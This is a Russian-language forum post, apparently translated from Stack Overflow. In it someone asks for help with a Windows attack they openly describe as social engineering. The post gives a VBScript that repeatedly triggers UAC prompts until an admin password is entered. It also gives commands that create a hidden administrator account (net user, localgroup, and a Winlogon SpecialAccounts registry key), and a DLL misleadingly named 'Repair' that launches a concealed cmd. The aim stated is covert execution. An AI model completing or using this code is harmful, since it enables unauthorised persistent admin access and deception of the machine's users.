Обход UAC Rundll32 не работаетC++

Программы на C++. Форум разработчиков
Ответить
Anonymous
 Обход UAC Rundll32 не работает

Сообщение Anonymous »

Я пытаюсь сделать что-то похожее (но более продвинутое) на то, что было продемонстрировано здесь:

TL;DW Это социальная инженерия атака. Я запускаю main.vbs, который постоянно рассылает спам-подсказку UAC, пока не будет введен пароль администратора. После получения прав администратора выполняются следующие команды:

Код: Выделить всё

net user defaultuser0 Pa$$wd /add
net localgroup administrators defaultuser0 /add
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v defaultuser0 /t REG_DWORD /d 0 /f
start /min
Это мой файл main.vbs:

Код: Выделить всё

Dim objFSO, objFile, strScriptPath, strCurrentDir

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile(WScript.ScriptFullName)
strScriptPath = objFile.ParentFolder.Path
strCurrentDir = objFSO.GetAbsolutePathName(strScriptPath)

Set objShell = CreateObject("Shell.Application")
Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")

objShell.ShellExecute "rundll32.exe", strCurrentDir & "\Repair.dll,Repair", "", "runas", 1
'Do
'   objShell.ShellExecute "rundll32.exe", strCurrentDir & "\Repair.dll,Repair", "", "runas", 1
'   Set colProcesses = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name='cmd.exe'")
'   For Each objProcess in colProcesses
'       Exit Do
'   Next
'Loop
(я сначала тестирую его без цикла)
Это код для ремонта.

Код: Выделить всё

#include 

__declspec( dllexport ) void CALLBACK Repair(
HWND hwnd,
HINSTANCE hinst,
LPSTR lpszCmdLine,
int nCmdShow);

void CALLBACK Repair(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
// Run the cmd minimized
ShellExecuteW(nullptr, L"open", L"cmd.exe", L"/min", nullptr, SW_HIDE);
}
< /code>
(пока я только пытаюсь запустить минимизированный cmd) < /p>
Я составляю его с: < /p>
g++ -shared -o Repair.dll .\Repair.cpp "-Wl,--subsystem,windows"
Проблема:
Когда я запускаю main.vbs и подтверждаю приглашение UAC, ничего не происходит .
Когда я запускаю Repair.dll вручную:

Код: Выделить всё

rundll32.exe Repair.dll,Repair
Я получаю сообщение об ошибке:

Отсутствует запись: исправить

Окружающая среда:
Я работаю в Windows 11 и компилирую это в VSCode с помощью компилятора Msys2 g++.Цель:
Запустить все вышеупомянутые команды скрыто (как фоновый процесс или что-то в этом роде), затем запустить свернутый cmd (который будет называться System -уровень).
Я не являюсь экспертом ни в Winapi, ни в работе с DLL, поэтому, пожалуйста, объясните, как мне этого добиться, какой формат мне следует использовать,...

Подробнее здесь: https://stackoverflow.com/questions/793 ... ot-running
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «C++»